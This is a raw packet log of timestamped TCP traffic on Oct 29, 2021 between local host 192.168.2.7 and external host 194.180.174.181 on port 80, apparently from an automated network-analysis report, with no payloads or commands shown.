Oct 29, 2021 15:31:15.582686901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.582724094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582801104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582847118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.582880020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.582959890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583007097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.583036900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583113909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583156109 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.583189011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583267927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583321095 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.583353996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583431005 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583479881 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.583508968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583586931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583632946 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.583664894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583744049 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583790064 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.583822012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583900928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.583955050 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.583986044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584060907 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584105015 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.584140062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584218025 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584264994 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.584295988 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584376097 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584424973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.584454060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584532022 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584594011 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.584615946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584692955 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584738970 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.584772110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584872007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.584923029 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.584963083 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589035988 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589099884 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589107037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589159012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589195013 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589209080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589257956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589298010 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589310884 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589366913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589404106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589416981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589468956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589504004 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589519978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589569092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589603901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589618921 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589668036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589715958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589760065 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589824915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589857101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589879990 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589905977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589931011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589952946 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.589971066 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.589997053 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590018034 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.590035915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590059996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590074062 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.590097904 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590122938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590142965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.590161085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590186119 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590199947 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.590224981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590250015 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590267897 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.590286016 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590311050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.590326071 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593483925 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593516111 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593538046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593570948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593591928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593605995 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593631029 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593653917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593698025 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593720913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593744993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593765974 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593785048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593808889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593827009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593847036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593868971 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593902111 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593907118 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593931913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.593959093 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.593981981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594007015 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594029903 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594053030 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594069958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594090939 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594111919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594136953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594156027 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594191074 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594217062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594242096 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594254971 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594279051 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594305038 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594319105 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594343901 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594362974 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594383001 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594404936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594429016 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594448090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594472885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594502926 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594512939 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594537973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594557047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594575882 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594599962 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594623089 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594640017 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594665051 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594687939 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594706059 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594728947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594748974 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594769955 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594794989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594815969 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594836950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594861984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594882965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594902039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594922066 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594943047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.594959974 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.594981909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.595000982 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.595021009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.595046997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.595067024 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.622848034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.622890949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.622911930 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.622941017 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.622961998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.623008966 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.623024940 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.623049974 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.623065948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.623094082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.623123884 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.623131990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.623172998 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.626615047 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.626658916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.626678944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.626699924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.626719952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.626826048 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631146908 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631186008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631208897 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631239891 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631264925 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631285906 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631306887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631333113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631350040 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631371975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631398916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631419897 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631438971 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631485939 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631515026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631540060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631562948 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631580114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631604910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631629944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631644964 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631669998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631695032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631712914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631735086 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631758928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631778002 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631798983 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631827116 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631841898 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631865978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631894112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631916046 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.631937027 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631962061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.631983042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.632002115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632026911 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632041931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.632066011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632091045 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632119894 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.632121086 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632145882 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632165909 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.632169008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632194996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632206917 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.632219076 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632244110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632265091 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.632267952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632293940 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632307053 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.632319927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.632365942 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.636733055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636771917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636796951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636817932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636837959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636882067 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636907101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636929989 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.636948109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636974096 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.636981964 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.636997938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637017012 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.637022018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637043953 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.637046099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637069941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637092113 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.637092113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637116909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637140989 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.637141943 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637166023 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.637191057 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.641597033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.641632080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.641655922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.641686916 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.641715050 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.768260002 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.814589977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814636946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814660072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814680099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814697981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814719915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814743042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814765930 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814789057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814810991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814812899 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.814834118 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814857960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814866066 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.814882994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814903021 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.814908028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814933062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814954996 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.814959049 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.814984083 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815000057 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815007925 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815032959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815045118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815058947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815083027 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815099955 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815108061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815133095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815145969 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815159082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815181971 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815196991 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815206051 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815231085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815243959 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815256119 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815282106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815298080 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815308094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815335035 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815349102 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815360069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815385103 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815406084 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815408945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815433979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815448046 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815459967 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815484047 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815504074 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815510035 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815536022 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815552950 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815560102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815587044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815599918 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815612078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815637112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815648079 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815660954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815686941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815697908 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.815712929 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815738916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.815749884 CEST	49841	80	192.168.2.7	194.180.174.181
